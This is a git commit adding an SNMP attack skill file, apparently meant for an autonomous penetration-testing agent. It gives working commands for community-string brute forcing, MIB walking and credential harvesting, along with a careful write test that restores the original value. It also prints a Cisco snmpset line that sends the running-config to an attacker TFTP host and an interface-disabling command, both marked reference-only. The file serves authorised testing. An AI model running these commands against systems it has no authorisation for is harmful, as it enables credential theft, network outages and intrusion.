This commit is contained in:
Sandiyo Christan 2026-08-27 20:22:21 +00:00 committed by GitHub
commit 2887c77787
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -0,0 +1,308 @@
---
name: snmp
description: SNMP enumeration and exploitation covering community string guessing, MIB walking, write access abuse, and v1/v2c/v3 authentication weaknesses
---
# SNMP
Simple Network Management Protocol exposes device configuration, network topology, credentials, and operational state. Default or weak community strings remain pervasive — a single readable community string can map an entire network, and a writable one can reconfigure routing, disable interfaces, or extract credentials. SNMP v1/v2c send community strings in cleartext; v3 adds authentication and encryption but is frequently misconfigured.
## Attack Surface
**Ports**
- UDP 161 (agent — queries)
- UDP 162 (trap receiver — notifications)
- TCP 161/162 (less common but supported)
**Versions**
- v1: cleartext community string, no encryption, no message integrity
- v2c: cleartext community string, bulk operations, improved error handling
- v3: username/password authentication (MD5/SHA), optional encryption (DES/AES), but often deployed with `noAuthNoPriv` or weak credentials
**Common Targets**
- Network devices: routers, switches, firewalls, load balancers
- Printers and IoT devices
- UPS and environmental monitoring systems
- Servers with SNMP agents (Net-SNMP, Windows SNMP service)
- Managed PDUs and IPMI/BMC interfaces
## Reconnaissance
### Discovery
**Port Scanning**
```bash
# UDP scan for SNMP
nmap -sU -p 161,162 --open -T4 <target_range>
# With version detection
nmap -sU -p 161 -sV --script snmp-info <target>
```
**Broadcast/Multicast Discovery**
```bash
# Broadcast SNMP query (local subnet)
nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <subnet>/24
```
### Community String Guessing
**Default Strings to Test**
```
public, private, community, snmpd, admin, default, monitor
read, write, secret, cisco, router, switch, internal
<hostname>, <domain>, <orgname>
```
**Automated Guessing**
```bash
# Nmap brute force
nmap -sU -p 161 --script snmp-brute <target>
# With custom wordlist
nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=communities.txt <target>
# onesixtyone — fast community string scanner
onesixtyone -c communities.txt -i targets.txt
# hydra
hydra -P communities.txt <target> snmp
```
**SNMPv3 User Enumeration**
```bash
# Enumerate valid usernames (timing difference on auth failure vs unknown user)
nmap -sU -p 161 --script snmp-v3-brute <target>
```
## Key Vulnerabilities
### Information Disclosure via MIB Walking
Once a valid read community string is found, walk the entire MIB tree:
```bash
# Full MIB walk
snmpwalk -v2c -c <community> <target>
# System information
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.1 # sysDescr, sysName, sysLocation
# Network interfaces
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.2 # ifTable
# Routing table
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.4.21 # ipRouteTable
# ARP table
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.4.22 # ipNetToMediaTable
# TCP connections
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.6.13 # tcpConnTable
# Running processes (Unix)
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.25.4 # hrSWRunTable
# Installed software
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.25.6 # hrSWInstalledTable
# Storage/disk usage
snmpwalk -v2c -c <community> <target> 1.3.6.1.2.1.25.2 # hrStorageTable
# User accounts (Windows)
snmpwalk -v2c -c <community> <target> 1.3.6.1.4.1.77.1.2.25 # winUserTable
```
**High-Value OIDs**
| OID | Data |
|-----|------|
| `1.3.6.1.2.1.1.1.0` | System description (OS, version) |
| `1.3.6.1.2.1.1.5.0` | Hostname |
| `1.3.6.1.2.1.1.4.0` | Contact (often reveals admin info) |
| `1.3.6.1.2.1.1.6.0` | Location |
| `1.3.6.1.2.1.2.2` | Network interfaces (IPs, MACs, status) |
| `1.3.6.1.4.1.77.1.2.25` | Windows user accounts |
| `1.3.6.1.2.1.25.4.2.1.2` | Running processes |
| `1.3.6.1.2.1.6.13.1.3` | Listening TCP ports |
### Write Access Exploitation
If a write community string (`private`, `write`, etc.) is found:
> **Never execute the destructive SET commands below.** This is a hard prohibition on autonomous execution, not a request for approval — being in scope does not make an outage or a config exfiltration acceptable. The only SET an agent may issue is the benign `sysContact` change shown below, which must be restored afterwards. The destructive commands are documented so you can recognise and report the exposure; establish write access with `sysContact`, then report what the write community would permit. Do not demonstrate it.
**Safe Write Confirmation (autonomous)**
Write validation must leave the device exactly as it was found. Always capture the original value first and restore it immediately after confirming the write.
```bash
OID=1.3.6.1.2.1.1.4.0
RO=<read_community>
RW=<write_community>
TARGET=<target>
# 1. Capture the original sysContact as raw bytes, and ABORT if the capture
# fails. A timeout, wrong community, or missing instance yields an empty
# result that is indistinguishable from a genuinely empty value — treating
# that as "originally empty" would wipe a real sysContact in step 5.
# -Oqvx strips the type prefix and returns hex, avoiding display rewriting.
if ! ORIGINAL_HEX=$(snmpget -v2c -c "$RO" -Oqvx "$TARGET" "$OID" 2>&1); then
echo "CAPTURE FAILED — do not SET. You cannot restore what you did not capture."
exit 1
fi
case "$ORIGINAL_HEX" in
*"No Such"*|*Timeout*|*Error*|*error*)
echo "CAPTURE FAILED ($ORIGINAL_HEX) — do not SET."; exit 1 ;;
esac
# Only past this point is a SET permissible.
# 2. Benign validation: change sysContact to prove write access
snmpset -v2c -c "$RW" "$TARGET" "$OID" s "strix_write_test"
# 3. Confirm the change took effect (this is the evidence to report)
snmpget -v2c -c "$RO" "$TARGET" "$OID"
# 4. Restore — mandatory, even if step 3 failed. The hex form is byte-exact and
# immune to display formatting, but it cannot represent an empty OCTET
# STRING, so a genuinely empty original uses the empty string form:
if [ -z "$ORIGINAL_HEX" ]; then
snmpset -v2c -c "$RW" "$TARGET" "$OID" s ""
else
snmpset -v2c -c "$RW" "$TARGET" "$OID" x "$ORIGINAL_HEX"
fi
# 5. Verify byte-for-byte restoration. A failed verification read also returns
# empty, so check the read succeeded before trusting the comparison —
# otherwise a failed read would "match" an empty original.
if ! RESTORED_HEX=$(snmpget -v2c -c "$RO" -Oqvx "$TARGET" "$OID" 2>&1); then
echo "VERIFY READ FAILED — device may still be modified. Surface to operator."
elif [ "$RESTORED_HEX" != "$ORIGINAL_HEX" ]; then
echo "RESTORE FAILED — device left modified. Surface to operator."
else
echo "Restored and verified."
fi
```
Restore with the hex form (`x "$ORIGINAL_HEX"`), not the display string. Net-SNMP renders values for humans: a value containing non-printable bytes comes back as a hex dump, and some builds wrap printable strings in quotes. Replaying that display output with `s` writes the formatting itself into the device as data — the exact case where a "benign" validation leaves the target modified.
The capture in step 1 is a hard gate: if it fails for any reason, no SET may run. An empty result from a timeout, a wrong read community, or a missing instance looks exactly like a genuinely empty `sysContact`, and letting that reach the empty-value branch in step 4 would overwrite a real value with an empty one. Step 5 likewise checks that the verification read succeeded before comparing, since a failed read returns empty and would otherwise "match" an empty original and falsely report success.
An originally-empty `sysContact` — captured successfully, but empty — yields an empty `ORIGINAL_HEX`, which `snmpset ... x` cannot express, so step 4 restores it with `s ""`. If step 5 reports a mismatch or a failed read, stop and surface it immediately; do not continue testing with the device left in a modified state. Report the write finding with the evidence from step 3 and state that the value was restored and verified.
**Destructive Operations — document, never execute**
```bash
# ⚠️ REFERENCE ONLY — never run autonomously; causes an outage
# Disable an interface (causes outage)
snmpset -v2c -c <write_community> <target> 1.3.6.1.2.1.2.2.1.7.<if_index> i 2
```
**TFTP Configuration Download — Cisco (document, never execute)**
```bash
# ⚠️ REFERENCE ONLY — never run autonomously; exfiltrates sensitive configuration
# Trigger config backup to attacker TFTP server
snmpset -v2c -c <write_community> <target> 1.3.6.1.4.1.9.2.1.55.<attacker_ip> s running-config
```
This retrieves the full router configuration including enable passwords, VPN keys, and ACLs.
**Credential Extraction**
- Cisco running-config via TFTP contains cleartext or weakly encrypted passwords
- Net-SNMP extend scripts may expose credentials in process arguments
- SNMP v3 credentials stored in `/etc/snmp/snmpd.conf` readable via process/file MIBs
### SNMPv3 Weaknesses
**noAuthNoPriv Mode**
- v3 configured without authentication — equivalent to v1/v2c
- Test: `snmpwalk -v3 -l noAuthNoPriv -u <username> <target>`
**Weak Authentication**
- MD5 auth with short/default passwords
- No encryption (authNoPriv) — scoped PDU data visible on wire (note: authentication passwords are NOT transmitted in plaintext under authNoPriv; the HMAC-based auth protects credentials, but management data traversing the wire is unencrypted)
- DES encryption (known weak) instead of AES
**Username Enumeration**
- Different error responses for valid vs invalid usernames
- Default usernames: `initial`, `admin`, `root`, `snmpuser`, `monitor`
### SNMP Trap Abuse
**Unauthorized Trap Receiver**
- If trap community string is known, inject fake traps to monitoring systems
- Can trigger automated remediation workflows (restart services, failover)
**Trap Interception**
- v1/v2c traps contain community string in cleartext
- Capture on-wire to obtain valid community strings
## Testing Methodology
1. **Discover** — UDP scan for port 161/162 across target range
2. **Version detection** — Identify SNMP version(s) supported; check for v1/v2c cleartext
3. **Community brute force** — Test default and common strings; include hostname/domain variants
4. **Read enumeration** — Walk full MIB tree with valid read community; catalog exposed data
5. **Write test** — Check if read community also has write access; test with benign SET (sysContact)
6. **v3 assessment** — Test noAuthNoPriv, enumerate usernames, check auth/priv algorithms
7. **Network mapping** — Extract routing tables, ARP, interfaces to map internal network
8. **Credential harvest** — Look for passwords in process tables, config files, SNMP user tables
9. **Trap analysis** — Check trap receiver configuration; test for unauthorized trap injection
## Validation
1. **Community string confirmed** — Show successful snmpwalk output with the discovered community string; include sysDescr and sysName as proof
2. **Information disclosure** — Demonstrate specific sensitive data retrieved: user accounts, network topology, running processes, or credentials
3. **Write access** — Show successful snmpset changing a benign value (sysContact) and snmpget confirming the change, then restore the original value and confirm the restoration. **Never modify operational parameters (interfaces, routes) — report the exposure instead of demonstrating it**
4. **v3 weakness** — Show noAuthNoPriv access or successful auth with weak/default credentials
5. Provide exact commands used and sanitized output
## False Positives
- SNMP agent responds but MIB tree contains only generic system info with no sensitive data
- Community string works but ACLs restrict accessible OIDs to non-sensitive subtrees
- v3 with authPriv (AES) and strong passwords — brute force unsuccessful and properly configured
- SNMP port open but only accepts connections from specific management IPs (ACL-filtered)
- Write community exists but snmpset is restricted by view-based access control (VACM)
## Impact
- **Network topology disclosure** — Routing tables, ARP caches, and interface lists reveal internal network architecture
- **Credential extraction** — Router configs (via TFTP), process arguments, and user tables expose passwords
- **Device reconfiguration** — Write access enables interface shutdown, route manipulation, ACL modification
- **Lateral movement** — Discovered internal IPs, subnets, and VPN configurations enable pivoting
- **Monitoring subversion** — Fake trap injection triggers false alerts or malicious automated responses
- **Compliance violation** — SNMP v1/v2c cleartext on a network violates PCI DSS, HIPAA, and most security frameworks
## Tooling
The Strix sandbox includes `nmap` (with NSE scripts). Additional tools may need installation:
```bash
# Net-SNMP tools (snmpwalk, snmpset, snmpget, snmpbulkwalk)
apt-get install -y snmp
# onesixtyone — fast community string scanner
apt-get install -y onesixtyone
# hydra — required for the `hydra -P communities.txt <target> snmp` example above
apt-get install -y hydra
# Community string wordlists
# SecLists: /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
# If not available, use nmap's built-in snmp-brute script (no external wordlist needed)
```
Prefer `nmap` NSE scripts (`snmp-brute`, `snmp-info`, `snmp-v3-brute`) as the primary approach since they require no additional installation.
## Pro Tips
1. Always test UDP — SNMP is primarily UDP; TCP-only scans miss it entirely
2. Try the hostname and domain name as community strings — admins frequently use these
3. On Cisco devices, a valid write community + TFTP can extract the entire running configuration including secrets
4. Windows SNMP service with default `public` community exposes user accounts, installed software, and services
5. Check for SNMP on non-standard ports — some devices use 1161, 10161, or other alternatives
6. Net-SNMP `extend` directives execute arbitrary commands and expose output via SNMP — check `nsExtendTable` (OID `1.3.6.1.4.1.8072.1.3.2`)
7. In segmented networks, SNMP from a compromised host can map subnets the attacker can't directly reach
## Summary
SNMP v1/v2c with default community strings remains one of the most reliable network-layer findings. A single valid community string yields system details, network topology, and often credentials. Write access enables device reconfiguration and config extraction. Upgrade to v3 with authPriv (SHA+AES), use strong unique passwords, restrict SNMP access via ACLs, and disable v1/v2c entirely.